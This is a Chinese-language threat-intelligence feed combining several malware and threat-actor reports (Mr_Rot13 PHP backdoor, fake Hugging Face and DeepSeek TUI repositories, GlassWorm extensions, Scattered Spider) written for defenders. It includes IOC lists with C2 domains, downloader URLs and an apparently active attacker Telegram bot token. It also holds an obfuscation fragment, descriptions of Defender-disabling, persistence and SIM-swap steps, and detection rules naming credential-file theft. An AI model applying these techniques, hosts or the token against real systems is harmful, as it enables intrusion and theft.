此时通过浏览器访问测试设备的 9999 端口，即可进入操作页面，非常典型的远控操作台，支持文件管理，远程命令执行以及 SHELL 功能。

2022年至今0检测的PHP后门

在溯源过程中，我们发现了一个 2022 年上传到 VirusTotal、名为 helper 的 PHP 文件，该文件存在和 wrned.com 通信的行为，经过分析，我们确认它是一个 PHP 后门。

MD5: 2286f126ab4740ccf2595ad1fa0c615c
Magic: PHP script text
Name: helper.php

该文件由 2 部分组成，前部分代码来自 WordPress 系统文件 options.php，从 </script>*/ 之后为混淆的恶意代码。

混淆方式为简单的字串 xor 拼接混淆，以下面的混淆字串为例，它去混淆后为 str_rot13：

$___ = ("8" ^ "K") .("8" ^ "L") .
("8" ^ "J") .("v" ^ ")") .
("8" ^ "J") .("T" ^ ";") .
("8" ^ "L") .("W" ^ "f") .("R" ^ "a");

全文去混淆后不难看出 PHP 后门的主要逻辑为：首先向 C2 地址 https://wrned[.]com/api.php?t=3&c=1 回传触发环境下的关键参数，包括 URL、客户端 IP、参数 w 的值及 User-Agent 等。C2 响应返回一个包含 s、u、c 三个键的 JSON 对象。其中，s 用于标识当前请求在 C2 视角下是否合法；c 为 RC4 密钥，用于解密硬编码的 payload；u 用于承载额外数据，我们推测它在解密后的 payload 执行阶段被引用。

实际产生的流量如上所示，我们持续跟踪了数日，但遗憾的是，始终未从 C2 收到有效响应，因此无法解密样本中经 RC4 加密的载荷，难以进一步分析该 PHP 后门的具体功能。不过可以确定的是，WordPress 无疑是 Mr_Rot13 的重点攻击目标之一。

总结

这是目前掌握的 Mr_rot13 黑客团伙的所有情报，受限于分析视野，相关信息仍不完整，欢迎掌握更多线索的团队或个人与我们共享情报；如果您对我们的研究感兴趣，或者了解内幕消息，欢迎通过 X 平台（@Xlab_qax）与我们联系。

IOC

MD5

2286f126ab4740ccf2595ad1fa0c615c *help.php
2de27ca8d97124adaf604b18161a441e *Update
29222f5e73dd10088fcf1204aa21f87f *Update
fb1bc3f935fdeb3555465070ba2db33c *Update
45fc93426cf08f91c9f9de5f04a12263 *filemanager-darwin-amd64
711afb014f64c97d7b31685709c34ce7 *filemanager-darwin-arm64
22613c952459e65ce09fb6b5c1c03d47 *filemanager-linux-386
9305b4ebbb4d39907cf36b62989a6af3 *filemanager-linux-amd64
e49f68a363c867608972680799389daf *filemanager-linux-arm64
e1ec6ebb96cf87c785ee6a7da677c059 *filemanager-linux-armv7
02a5990b11293236e01f174f5999df20 *filemanager-windows-386.exe_
bae1f1bce7c82fa86f05b12e2e254cfc *filemanager-windows-amd64.exe_

C2

wrned[.]com

Downloader URL

https://cp.dene[.]de.com/cpanel.py
https://cp.dene[.]de.com/login.js
https://cp.dene[.]de.com/adminer.php
https://cp.dene[.]de.com/Update
https://wpsock[.]com/cpanel/install.sh
https://wpsock[.]com/cpanel/dist/filemanager-linux-386
https://wpsock[.]com/cpanel/dist/filemanager-linux-amd64
https://wpsock[.]com/cpanel/dist/filemanager-linux-armv7
https://wpsock[.]com/cpanel/dist/filemanager-linux-arm64
https://wpsock[.]com/cpanel/dist/filemanager-windows-386.exe
https://wpsock[.]com/cpanel/dist/filemanager-windows-amd64.exe
https://wpsock[.]com/cpanel/dist/filemanager-darwin-arm64
https://wpsock[.]com/cpanel/dist/filemanager-darwin-amd64

Reporter URL

https://cp.dene[.]de.com/collect.php
https://wrned[.]com/log.php

Scanner IP

178.249.209.182
149.102.229.146

Telegram Token & Channel & USER ID

Token
1190043163:AAEy1FDoB_r8KFiOIqsEpgDQ2k78Ai6BdWk (Revoked)
1190043163:AAFtaUfpui9fqKoRnqOa5XvT6MHLcK1axiU (Active)


Group
-443071772


BOT ID: 1190043163
0xWR ID: 1209569354

阅读原文

跳转微信打开

奇安信威胁情报中心红雨滴团队私有情报生产流程发现一家面向中文用户提供私密IM的软件官网上的安装包被替换。被替换的安装包除了正常流程外，还会释放如下组件，内存加载SNOWLIGHT下载者，最终运行魔改nps隧道。

阅读原文

跳转微信打开

2026年5月7日，安全研究机构 HiddenLayer 披露了一起针对 AI 开发社区的供应链投毒攻击事件。攻击者在 Hugging Face 平台创建恶意仓库 Open-OSS/privacy-filter，通过 typosquatting 技术冒充 OpenAI 官方 "Privacy Filter" 项目，成功进入平台趋势榜榜首位置

事件概述

2026年5月7日，安全研究机构 HiddenLayer 披露了一起针对 AI 开发社区的供应链投毒攻击事件。攻击者在 Hugging Face 平台创建恶意仓库 Open-OSS/privacy-filter，通过 typosquatting 技术冒充 OpenAI 官方 "Privacy Filter" 项目，成功进入平台趋势榜榜首位置。该仓库在被清除前累计获得约 244,000 次下载，成为开源 AI 平台历史上最严重的大规模恶意软件分发事件之一。

此次攻击的核心 payload 为基于 Rust 语言开发的 Sefirah 信息窃取木马，具备完整的反分析能力和广泛的数据窃取范围。受害者的浏览器凭据、加密货币钱包、Discord 令牌、SSH/VPN 凭证等敏感数据均面临泄露风险。攻击活动与 npm 平台 typosquatting 攻击存在基础设施重叠，表明威胁行为体正在跨平台构建规模化攻击能力。

攻击技术分析

初始访问：Typosquatting 与信任滥用

攻击者采用经典的 typosquatting 技术，在 Hugging Face 平台注册与合法项目名称高度相似的仓库名 Open-OSS/privacy-filter，冒充 OpenAI 官方发布的 Privacy Filter 项目。攻击者几乎逐字复制了原始项目的模型卡片（Model Card）内容，使用虚假但看似可信的项目文档建立欺骗性。

攻击者进一步通过自动化脚本生成大量虚假账户，对恶意仓库进行 "star" 操作，人为提升其在趋势榜单的排名。在社交工程手段的推动下，该仓库短暂登上 趋势榜榜首，借助平台公信力进一步扩大传播范围。研究人员分析发现，约 667 个点赞账户中的绝大多数为自动生成的虚假账户，用于制造社区认可的假象。

感染链：多阶段 Payload 投递

恶意仓库采用四阶段感染链完成初始访问到最终 payload 部署的全过程。

第一阶段：loader.py

仓库中的 loader.py 文件被设计为看起来像正常的 AI 相关代码，但实际执行以下恶意行为：

• 禁用 SSL 证书验证，绕过安全连接保护
• 从远程服务器获取 base64 编码的 URL
• 解码后访问外部资源获取 JSON 格式的 PowerShell 命令

第二阶段：PowerShell 命令执行

解码后的 PowerShell 命令在隐藏窗口中执行，下载批处理文件 start.bat 并执行权限提升操作。

第三阶段：start.bat

该批处理文件完成以下关键步骤：

• 静默添加最终 payload 到 Microsoft Defender 排除列表
• 下载最终有效载荷 sefirah
• 以提升的权限执行窃密木马

第四阶段：Sefirah 窃密木马

最终 payload 为基于 Rust 语言编译的 Sefirah 信息窃取器，具备以下数据窃取能力：

反分析机制

Sefirah 恶意软件集成多层反分析能力，用于规避安全研究人员和自动化分析系统的检测：

• 虚拟机检测：识别 VMware、VirtualBox、QEMU 等虚拟化环境
• 沙箱检测：识别主流沙箱平台的行为特征
• 调试器检测：检测调试器附加行为和断点设置
• 分析工具检测：识别 Wireshark、Procmon 等分析工具的运行状态

该恶意软件仅在确认为真实受害者环境后才会完整执行恶意行为，这种选择性执行策略显著增加了安全分析的难度。

数据外泄

窃取的数据经过压缩后通过 HTTP 协议外泄至 C2 服务器 recargapopular[.]com。

C2 基础设施分析

根据关联分析，C2 域名 recargapopular.com 的基础信息如下：

该域名于攻击事件前约三个月注册，使用 Cloudflare 名称服务器隐藏真实基础设施。注册时间与攻击活动时序的高度相关性表明，这是一次有预谋的基础设施部署。C2 服务器通过 Cloudflare CDN 节点中转，显著增加了溯源难度。

威胁归因

HiddenLayer 研究人员发现此次攻击与 npm typosquatting 活动存在直接关联。攻击者使用相同的 loader 基础设施分发 WinOS 4.0 植入程序，表明同一威胁行为体正在多个开源生态系统同步运营。

关键归因线索：

• 基础设施重叠：loader.py 脚本与 npm 恶意包的代码结构高度相似
• TTP 一致性：两起攻击采用相同的 C2 通信模式和数据外泄格式
• 时间关联：活动间隔符合同一操作团队的运营节奏

此次攻击活动体现了现代网络犯罪的组织化特征：攻击者具备跨平台运营能力，能够根据不同平台特点调整投递策略，同时维护底层基础设施的统一性。

MITRE ATT&CK 映射

防御建议

对于已下载该恶意仓库内容的用户，奇安信威胁情报中心建议采取以下响应措施：

1. 系统重置：立即重新映像受感染主机，确保恶意 payload 及持久化机制被完全清除
2. 凭证轮换：轮换所有存储在受影响系统中的密码、API 密钥、SSH 密钥
3. 加密资产保护：更换所有加密货币钱包，废弃相关种子短语和私钥
4. 会话失效：使所有浏览器会话令牌失效，重置双因素认证凭证
5. 日志审计：审查近期的登录活动，识别是否存在异常访问行为

对于 AI 开发社区，我们建议：

• 在安装任何第三方模型前，验证仓库的官方来源和发布者身份
• 启用仓库的签名验证功能，验证代码完整性
• 避免依赖下载量作为信任依据，该指标可被人为操纵
• 在隔离环境（如沙箱虚拟机）中测试新获取的模型和代码

结论

此次事件是开源 AI 生态系统面临供应链攻击风险的典型案例。Hugging Face 作为全球领先的 AI 模型托管平台，每日承载大量模型分发任务，其信任机制被攻击者利用进行大规模恶意软件传播。Sefirah 窃密木马的技术成熟度和反分析能力表明，攻击者已具备开发高质量攻击工具的专业能力。

跨平台攻击活动的发现进一步揭示了当前威胁格局的演变趋势：攻击者不再局限于单一平台，而是在多个开源生态系统中建立持续性存在，利用各平台的安全盲区实现攻击规模的扩大化。

参考来源

• https://www.bleepingcomputer.com/news/security/fake-openai-repository-on-hugging-face-pushes-infostealer-malware/

阅读原文

跳转微信打开

奇安信威胁情报中心监测到，攻击者趁着DeepSeek TUI项目热度上升，开始混水摸鱼，在Github上构造仿冒仓库，投递恶意软件。

概述

开源项目DeepSeek TUI是一个为DeepSeek大模型创造的在终端中运行的编码智能体，近期随着DeepSeek v4的发布和开发者Hunter Bown的中文扩散帖，让该项目吸引到大量关注。

奇安信威胁情报中心监测到，攻击者趁着DeepSeek TUI项目热度上升，开始混水摸鱼，在Github上构造仿冒仓库，投递恶意软件。下图中第一个是真正的DeepSeek TUI项目仓库，第二个是仿冒仓库。

恶意软件特征与我们3月披露的仿冒OpenClaw的攻击样本一致[1]，并且使用的恶意域名与国外安全厂商近期发布的报告重叠[2]，表明此类伪装成AI产品的恶意软件攻击活动持续不断，且不停更换仿冒对象。

详细分析

恶意软件存放在伪造仓库的Releases页面中，不久前才上传。

下载的7z压缩包中包含的EXE文件信息如下。

样本的属性信息如下。

（一）运行环境检测

样本的运行环境检测系统采用分层评分架构：TIER0（致命指标一票否决）+ TIER1/2（可疑指标积分制）。此外，后续下载的二阶段恶意软件OneSync.exe中同样存在反沙箱模块，包含”src\anti_bot.rs”、”TIER0: VirtualBox default NAT IP (10.0.2.15) detected”、”TIER0: Bot farm hostname pattern”等字符串，说明反沙箱不只存在于一级样本，二阶段组件还会独立进行环境判定。

（1） TIER0阶段检测，存在黑名单信息则直接判定为沙箱环境。

（2）通过TIER0阶段检测的系统进入积分评估阶段，分值越大越可能是沙箱环境。

（3）即使通过上述全部检测，最后还有一个鼠标移动检测，才会触发后续恶意行为。下载的二阶段组件svc_service.exe同样存在该鼠标检测逻辑。

样本如果检测到运行环境不符合要求，会弹出提示信息：”Sorry, your system does not meet the minimum requirements.”，然后结束运行。

（二）安全防护关闭

如果环境检测通过，执行如下powershell代码。

异或解密后如下。

主要功能是关闭一些Windows Defender安全防护，包括

(1) 添加6个排除路径，C:\Users、$env:TEMP、C:\ProgramData、C:\OneDriveTemp、C:\Users\Public、C:\Windows

(2) 排除进程powershell.exe和pwsh.exe

(3) MAPS 报告关闭、云阻断关闭、样本提交NeverSend、云保护等级归零、PUA 保护 disable、IOAV 保护 disable、行为监控 disable

(4) 防火墙开放57001/57002/56001三个入站端口

（三）字符串解密与后续载荷获取

函数sub_1400F22F5异或解密字符串，使用的key为” xnasff3wcedj”。

样本获取后续载荷的链接通过字符串解密得到，两个链接一个是主地址，一个是备用地址。

两者各存放6个Azure云盘链接，指向7z压缩包，部分链接一致（不一致的用红色标识）。

样本中的其他解密字符串如下：

（四）二阶段组件

获取的部分二阶段组件信息如下

下载的后续载荷连接C2：zkevopenanu[.]cfd。

(1) OneSync.exe / WinHealhCare.exe

两者为同模版变种——相同OEP地址0x1CA7DC、相同核心字符串、相同TG凭据、相同计划任务框架。WinHealhCare.exe的拼写为Healh，而非Health。

计划任务伪装名如下，可选的17个任务名覆盖浏览器同步、云同步、显卡驱动、系统维护。

通过Telegram上报状态。

本地开启34254端口并绑定socket监听，用于实现组件之间的协调。

（2）svc_service.exe

该组件是驻留核心，大部分核心逻辑在函数sub_140004968中。

该组件具有通过计划任务、注册表RUN键、Winlogon用户初始化、Startup快捷方式等4种模式实现持久化驻留的能力。

通过netsh命令执行”advfirewall firewall add rule”，添加对56001/57001/57002 三个端口的防火墙规则，与一阶段样本powershell放行端口一致。

在进程中加载CLR（clroxide v1.1.1），完全在内存执行.NET assembly，相关字符串如下:

通过NT syscall实现线程注入，直接用syscall的方式调用SuspendThread、SetThreadContext、NtCreateNamedPipeFile、NtWriteFile。

该组织也存在鼠标检测功能，具有字符串”[*] Checking for user activity (Mouse)...”，”[+] User activity detected.”，保证运行环境是真实受害者系统。

(3) onedrive_sync.exe

这是个32位（x86）组件，主函数sub_402EB0，主要功能为：建立互斥→复制到伪装路径→Run键自启动→WaitableTimer延时→memexec内存装载后续PE。攻击者不需要把全部希望押在 svc_service.exe 的高权限驻留——不适合服务化驻留的主机仍然靠Run键+内存执行维持攻击链条。

(4) autodate.exe

该组件伪装为服务管理器，实际上是通过NtAllocateVirtualMemory、NtProtectVirtualMemory、UnsupportedDotNetExecutable、memexec、GetProcAddress、CreateWaitableTimerExW等函数将后续载荷加载进内存执行。伪装配置如下：

(5) vicloud.exe

功能与autodate.exe高度相似，伪装配置不同。

溯源关联

该恶意软件的攻击方式与仿冒OpenClaw的恶意软件[1, 2]如出一辙，并且样本使用的下载URL和C2域名也有重叠，表明此次仿冒DeepSeek TUI项目的恶意软件是长期攻击活动的一部分。

根据样本携带的PDB路径"ClawCode.pdb"，关联到多个类似的用Rust编写的恶意文件，大部分仿冒名称都与AI相关。

总结

从OpenClaw到DeepSeek TUI，以及其他不断占据话题热榜的AI产品，恶意软件也追逐热点，不断改头换面。通过样本特征关联，我们发现这些恶意软件背后疑似存在着同一个持续活动的攻击团伙，不断借助AI话题发起攻击。

目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等，都已经支持对此类攻击的精确检测。

IOC

MD5

b96c0d609c1b7e74f8cb1442bf0b5418

7de2896e373342e0f3b765c855bf7396

78c11c45c00a9c22f537c59a472beca1

df36a31148d2c6414bdafeab771ea728

14920c9751d20452a1006d20b8e73234

f6d328422e7ca22e70a6aa71315450f3

86c7f2a3c307928daaca7c1df3ea5d72

dbaa133fd3d1a834460206d83b480f80

22c0c7d441fd22432cfe7854b59ba82b

a224f44bdac16250d8093df68e05b512

6861fa47889e0340ab7efaab448c56b6

437e4bdb12d7fa8d1c9a9e9db84b8726

fbfe7513685913e6f878647eec429d45

562d48524313d414b5a419fed6ca10aa

df8a2e7aa46af996bdf67d79601671c3

f101a346502a324320f952d39e217064

5d14461718b74b86fdd68c6aee801dc4

556b35236eeb111b0606d88a7aa3fd87

ff371b43786cbb87dab325ce17cf8b7c

1bd1df4f228ecd29a9b6fab48beaa366

975bd8eb56716adbcadb5216592a17c7

347980085c8926d5a1ff8e15a31fd812

46917d8326d77e4e3c39cb843dbfc675

b6f77b48223f57c67f00ccd8ab3d047e

8dde7a417130ae78a3f2aeed1f5b8f58

4c7abc81b308fc874ec0de4f026db260

48dd212fae0086822d4ae7696cc61693

faa5f780fb0e0786dd1a2bd19af290ca

6721f30d84f58532d877f2b31bfc9162

a9d492ab22400257f756f0308e06f04c

d0a92b090279894f4628bc3d627fbde0

(二阶段组件)

397405106d895815a9bef8d84445af5a (OneSync.exe)

b7a76b82c2a5e16a3c346cc6aa145556 (WinHealhCare.exe)

f01e96a80f92c414dd824aef5a1ac1e7 (onedrive_sync.exe)

ecb3e753b60cc0f3d7de50fe7f133e49 (svc_service.exe)

68ba5a1bafae7db35e2eee7ea3f11882 (autodate.exe)

e102797eb4225a93eaeeaa6b9979716a (vicloud.exe)

C&C

mikolirentryifosttry.info

zkevopenanu.cfd

URL

hxxps://pastebin.com/raw/w6BVFFWQ

hxxps://pastebin.com/raw/5tmHDYrf

hxxps://pastebin.com/raw/M6KthA5Z

hxxps://snippet.host/beuskq/raw

hxxps://snippet.host/uikosx/raw

hxxps://hkdk.events/djbk1i9hp0sqoh

参考链接

https://mp.weixin.qq.com/s/jNYCA9G1jSkevgPWv4Ov_Q

https://www.netskope.com/blog/openclaw-hologram-fake-installer-ships-rust-infostealer

阅读原文

跳转微信打开

Silver Fox 利用新的 ABCDoor 后门攻击俄罗斯和印度；ScarCruft 通过供应链攻击破坏游戏平台；OceanLotus 被怀疑使用 PyPI 传播 ZiChatBot 恶意软件；研究发现 MuddyWater 与一起Chaos勒索软件攻击有关

阅读原文

跳转微信打开

BlueNoroff 利用 ClickFix、无文件 PowerShell 和 AI 生成的虚假 Zoom 会议攻击 Web3 行业；与Lazarus有关联的 npm 恶意软件攻击活动涉及 108 个恶意软件包；Kimsuky组织针对处方药公司进行攻击

阅读原文

跳转微信打开

这是一起针对 SAP CAP（Cloud Application Programming Model）和 Cloud MTA（Multi-Target Application）生态的精准 npm 供应链攻击。攻击者通过劫持/污染 SAP 官方维护的 npm 包，在安装阶段注入恶意引导程序，最终执行高度混淆凭证窃取与自传播框架。

阅读原文

跳转微信打开

GlassWorm 威胁活动近期在 OpenVSX 开源扩展生态中爆发新一轮大规模供应链攻击。根据 Socket 安全团队及多方情报交叉验证，攻击者于 2026 年 4 月向 OpenVSX 注册中心提交了 73 个"休眠（Sleeper）"恶意扩展，紧随 3 月份 72 个恶意包的第二波攻势。

一、事件概述

GlassWorm 威胁活动近期在 OpenVSX 开源扩展生态中爆发新一轮大规模供应链攻击。根据 Socket 安全团队及多方情报交叉验证，攻击者于 2026 年 4 月向 OpenVSX 注册中心提交了 73 个"休眠（Sleeper）"恶意扩展，紧随 3 月份 72 个恶意包的第二波攻势。其中至少 6 个扩展已被激活并成功投递恶意载荷，其余处于潜伏状态等待后续更新触发。

本次攻击标志着 GlassWorm 战术体系的重大演进：攻击者彻底放弃早期直接在扩展源码中硬编码恶意代码或滥用不可见 Unicode 字符的粗糙手法，转而采用 "良性首发-信任积累-更新投毒" 的生命周期模型。恶意扩展仅作为"瘦加载器（Thin Loader）"，通过运行时从 GitHub 拉取辅助 VSIX 包、加载平台原生 .node 模块或执行高度混淆的解密脚本，动态获取核心窃密组件。攻击目标明确指向开发者工作站，旨在批量窃取加密货币钱包、云凭证、访问令牌及 SSH 私钥。鉴于供应链攻击的穿透性与开发者环境的高权限属性，该事件威胁等级评定为 High。

二、技术细节分析

1. 休眠架构与生命周期管理

攻击者利用扩展市场的审核机制盲区，采用典型的 Sleeper Malware 架构：

• 阶段一（上架期）

  扩展包仅包含基础 UI 组件、静态资源或无害占位逻辑，通过市场自动扫描与人工初筛。

• 阶段二（信任期）

  通过克隆流行扩展（如 VS Code 土耳其语语言包）的图标、命名与描述进行视觉欺骗（Typosquatting），配合新注册的 GitHub 账户（仅维护 1-2 个公开仓库作为掩护）积累下载量与用户信任。

• 阶段三（激活期）

  通过标准扩展更新通道推送包含恶意加载器的版本，利用开发者"默认信任已安装扩展自动更新"的心理模型完成驻留。

2. 动态载荷投递机制（Thin Loader 架构）

为规避静态沙箱检测与代码签名验证，加载器采用多模态动态加载技术：

• GitHub 托管 VSIX 注入

  运行时通过 CLI 命令（如 code --install-extension <url>）静默安装托管于 GitHub 的二级 VSIX 包，实现模块化解耦。

• 原生模块滥用（.node）

  捆绑平台特定的编译型 .node 文件（据外部情报分析，部分变体使用 Zig 语言编译的 Dropper）。原生模块可绕过 Node.js/JS 沙箱限制，直接调用系统 API 进行文件系统遍历、进程注入与持久化。

• 运行时混淆解密

  部分变体依赖重度混淆的 JavaScript，通过字符串变形、控制流平坦化与动态 eval()/Function 构造器在内存中解密核心逻辑。内置加密或冗余备用 C2 URL，确保单点失效不影响载荷获取。

3. 跨平台与环境适配

扩展通过读取 process.platform 与 process.arch 动态选择对应 .node 二进制或混淆脚本，支持 Windows、Linux 与 macOS。macOS 变种还结合了木马化加密货币钱包客户端的辅助投递，形成多路径覆盖。

三、攻击链还原（MITRE ATT&CK 映射）

四、威胁行为体画像

五、IOC 深度分析

由于 GlassWorm 采用动态载荷与高频更新策略，传统静态 IOC（固定 Hash/IP）生命周期极短（通常 <72 小时）。本次分析聚焦 行为型与环境型 IOC，更适用于企业级威胁狩猎：

1. 扩展元数据异常

• 发布者标识不匹配

  扩展包 publisher 字段与 displayName/icon 不一致，或与官方同名扩展的 unique identifier 存在细微差异。

• GitHub 仓库掩护特征

  托管载荷的 GitHub 账户注册日期 < 90 天，仓库数量 ≤ 2，无 Star/Fork 互动，仅包含 .vsix 或编译产物。

2. 运行时行为指纹

• CLI 静默安装

  node 或 extensionHost 进程执行 code --install-extension https://raw.githubusercontent.com/... 或类似下载+安装命令序列。

• 原生模块异常加载

  非 Node.js 项目目录中出现 .node 文件，且由 IDE 扩展进程 dlopen() 加载；该模块导出函数包含文件系统遍历或网络请求逻辑。

• 高熵混淆特征

  扩展主 JS 文件包含超长 Base64/Hex 编码块、动态字符串拼接、atob()/Buffer 滥用，且无合法业务逻辑对应。

3. 目标访问行为

• 非常规进程读取敏感目录

  extensionHost 或子进程访问 ~/.ssh/id_*, ~/.aws/, ~/.kube/config, 浏览器扩展存储路径（如 Default/Local Extension Settings）。

• 隐蔽外传流量

  IDE 进程向非官方域名发起 HTTPS POST，内容包含 Authorization、PRIVATE_KEY 或 mnemonic 等关键字段（需结合网络代理日志）。

狩猎建议：在 EDR 中配置基于进程树与文件访问的关联规则；在流量侧对 code 进程的非市场域名出站连接进行 TLS SNI 或 JA3 指纹监控。

六、影响评估

七、检测与响应建议

1. 检测规则思路

Sigma 规则示例（进程与 CLI 监控）：

title: IDE Extension Host Spawning VSIX Installer via GitHub
logsource: process_creation
detection:
  selection:
    ParentImage|endswith: 'node.exe'  # 或 code-insiders/node/extensionHost
    Image|endswith: 'code.exe'
    CommandLine|contains|all:
      - '--install-extension'
      - 'github.com'
      - 'raw.githubusercontent.com'
  condition: selection
level: high

YARA 规则思路（混淆 JS 与 .node 特征）：

• 扫描高熵字符串块（entropy > 6.5）+ 动态执行关键字（eval|Function|vm.runInThisContext）+ 网络请求库调用（axios|node-fetch|https.request）。

• 扫描 .node 模块的 ELF/PE 头，匹配特定节区名称（如 .rsrc 中隐藏配置）或导出符号表包含 steal, wallet, token 等变体（需配合 AI 辅助模式匹配）。

网络检测：

• 监控 IDE 进程向 raw.githubusercontent.com 发起的 .vsix 或 .tar.gz 下载请求，对比 OpenVSX 官方更新源域名差异。

2. 应急响应措施

1. 隔离与清理

   立即卸载 Socket 公布的 73 个扩展清单；清理 ~/.vscode/extensions 与 ~/.openvsx 缓存目录。

2. 凭证轮换（强制）

   假设已沦陷，立即轮换所有 SSH 密钥、Git Token、AWS/GCP/Azure Access Key、数据库密码及加密货币钱包助记词。

3. 主机取证

   使用 EDR 回溯 extensionHost 进程树，检查是否存在持久化计划任务、注册表修改或隐藏账户；提取内存中的解密后载荷样本。

4. 流程加固

   实施 IDE 扩展企业级白名单；禁用自动更新，强制人工审核变更日志；对 OpenVSX/npm 依赖实施 SBOM 追踪与签名验证。

八、未来趋势研判

1. 战术常态化与架构升级

   "休眠供应链"已成为高级财务型攻击的标准配置。未来载荷将进一步向 WASM（WebAssembly） 或 Rust/Zig 编译的二进制 迁移，利用跨平台兼容性与更难逆向的特性对抗静态分析。动态加载将结合 AI 生成的多态混淆，实现"一机一密"。

2. 生态横向渗透

   攻击者将加速复制该模型至 PyPI、RubyGems、Cargo、Maven 等包管理器。针对 Go/Java 生态的供应链投毒将增加 vendor/ 目录篡改与模块替换手法。

3. 防御博弈升级

   扩展市场将引入 动态沙箱更新验证（对比更新前后代码 Diff）、发布者身份强校验与行为基线监控。攻击者将采用 条件触发器（如仅当检测到特定地理 IP、企业域名后缀或反沙箱环境时才激活载荷）以延长存活期。

4. 战略建议

   组织需从"信任默认依赖"转向 "零信任依赖链"。建立自动化 SBOM 监控、实施 IDE 网络微隔离、引入扩展行为审计代理（Extension Behavior Agent），并将开发者工作站纳入与生产服务器同等级的威胁检测体系。供应链安全已从代码审计扩展至 全生命周期运行时监控。

阅读原文

跳转微信打开

2024年6月，苏格兰籍威胁行为体Tyler Robert Buchanan在西班牙被捕，后于2024年11月被美方正式起诉。2025年，美国司法部正式宣布该成员对参与Scattered Spider网络犯罪组织的相关指控认罪。

事件概述

2024年6月，苏格兰籍威胁行为体Tyler Robert Buchanan在西班牙被捕，后于2024年11月被美方正式起诉。2025年，美国司法部正式宣布该成员对参与Scattered Spider网络犯罪组织的相关指控认罪。这一进展标志着针对以经济利益为导向的英语母语黑客组织的国际执法行动进入新阶段。

Buchanan（24岁，苏格兰邓迪人）在美国法庭承认以下罪行：与同谋者合谋入侵数十家企业的网络系统，通过短信钓鱼攻击（Smishing）窃取员工凭证和个人身份信息，结合SIM卡交换攻击（SIM Swapping）绕过双因素认证，最终从美国受害者处窃取至少800万美元加密货币。

威胁行为体深度画像：Scattered Spider

Scattered Spider是一个以英语为母语、成员相对年轻的网络犯罪组织，因其独特的社工攻击风格而备受关注。该组织使用多个别名，包括Muddled Libra、Scatter Swine、Starfraud以及CrowdStrike命名的UNC3944。

奇安信威胁情报中心监测显示，Scattered Spider并非独立的网络犯罪实体，而是更广泛网络犯罪生态"The Com"的组成部分。这一归属关系解释了该组织为何能够获取高端攻击资源并与其他勒索软件组织形成协同关系。

成员特征

该组织成员以16-25岁的英语母语年轻人为主，这种年龄结构和语言背景使其在针对欧美企业的社工攻击中具有独特优势。相比传统的东欧网络犯罪组织，Scattered Spider成员更熟悉西方企业文化和工作流程，能够设计出更具欺骗性的钓鱼话术。

核心成员档案：

攻击链深度解析：从凭证窃取到加密货币洗劫

Scattered Spider组织已形成一套成熟且高度自动化的攻击框架。

第一阶段：短信钓鱼（SMS Phishing）

攻击者向受害企业员工批量发送钓鱼短信，内容通常伪装成企业VPN异常、账户安全警告或密码过期提醒。原文披露的攻击手法显示，Buchanan及其同谋向目标公司员工发送数百条钓鱼短信，链接指向精心设计的钓鱼页面。

这些钓鱼页面高度模仿企业登录门户，包括伪造的合法品牌界面、SSL证书（部分情况下）以及与真实网站相似的域名。钓鱼工具包自动捕获员工输入的凭证，并实时传输至攻击者控制的Telegram频道。

技术特征：

• 使用多域名部署钓鱼基础设施，避免单点失效

• Telegram频道作为数据中转站，降低被发现概率

• 针对不同目标定制钓鱼内容，提高可信度

第二阶段：凭证利用与横向移动

获取初始凭证后，攻击者快速识别可利用的账户，特别是具有高权限的管理账户。通过合法的VPN通道访问企业网络后，攻击者在内网进行侦察，识别关键资产和敏感数据存储位置。

这一阶段的目标不仅限于加密货币钱包，还包括：

• 知识产权和商业机密

• 员工个人身份信息（PII）

• 其他系统登录凭证

• 内部机密文档和通信记录

第三阶段：SIM卡交换攻击——绕过MFA的关键

SIM卡交换攻击是该组织攻击链的核心环节。当受害者的加密货币交易所账户或钱包启用了基于短信的双因素认证时，攻击者通过以下流程实现账户劫持：

1. 信息收集：通过第一阶段窃取的PII确定受害者身份信息、手机号码运营商
2. 社工联络：冒充受害者致电运营商客服，请求将号码转移至攻击者控制的SIM卡
3. 验证码拦截：成功换卡后，所有短信验证码发送至攻击者设备
4. 账户清空：使用拦截的验证码完成认证，重置钱包密码，转走所有资产

原文披露，执法部门在Buchanan的苏格兰住所发现的设备中包含多名受害者的姓名和地址信息，以及加密货币种子短语文件，直接证明其对SIM交换攻击的深度参与。

第四阶段：混币与变现

窃取的加密货币通过多层混币服务转移，攻击者精心设计交易路径以逃避区块链分析追踪。最终资金通过场外交易（OTC）或暗网市场转换为法币。

受害者画像与行业分布

根据多方信息交叉验证，Scattered Spider的攻击活动在2021年9月至2023年4月期间达到高峰，受害企业涵盖多个关键行业：

该组织对MGM Resorts的攻击尤为引人注目。2023年9月，攻击者通过社工手段获取内部系统访问权限，导致赌场预订系统、酒店管理系统和忠诚度计划平台全面瘫痪，直接损失超过1亿美元。这一事件充分展示了Scattered Spider从凭证窃取到大规模企业入侵的能力跃升。

战术技术演变趋势：从"0ktapus"到专业攻击组织

分析发现，Scattered Spider的攻击能力经历了明显演进轨迹。

起源：0ktapus钓鱼攻击（2022年）

该组织最初以"0ktapus"名称活动，主要针对多因素认证（MFA）服务商发起钓鱼攻击。通过克隆Okta登录页面，该组织窃取了大量企业员工的SSO凭证。这一阶段的攻击手法相对简单，以大规模钓鱼为主。

成熟期：多向量社工攻击（2022-2023年）

随着攻击经验积累，Scattered Spider开始采用更复杂的社会工程策略：

• MFA轰炸（MFA Fatigue）：向受害者重复发送多因素认证请求，直至其不堪骚扰而批准

• 语音钓鱼（Vishing）：冒充IT支持人员通过电话获取访问权限

• SIM交换攻击：成为绕过强认证的标准手段

协同阶段：与勒索软件组织合流（2023年至今）

奇安信威胁情报中心监测发现，Scattered Spider与多个勒索软件组织存在合作关系，包括BlackCat/AlphV、Qilin和RansomHub等。这表明该组织已从单纯的数据窃取转向更深层次的入侵服务，为勒索软件攻击提供初始访问通道。

这种协同模式的典型案例包括：

• 提供被盗凭证和内网访问权限

• 协助完成横向移动和数据外泄

• 参与赎金谈判过程

地缘关联与"The Com"网络犯罪生态

Scattered Spider作为"The Com"网络犯罪社区的成员，其活动模式反映了这一地下生态的运作特征。

"The Com"概述

"The Com"是一个以英语为主的地下社区，成员通过特定论坛和即时通讯平台进行联络。该社区具有以下特征：

• 成员年龄普遍较低，强调"年轻黑客"身份认同

• 采用社工攻击作为主要突破手段

• 重视信息共享和攻击工具流通

• 与传统东欧网络犯罪组织存在明显区别

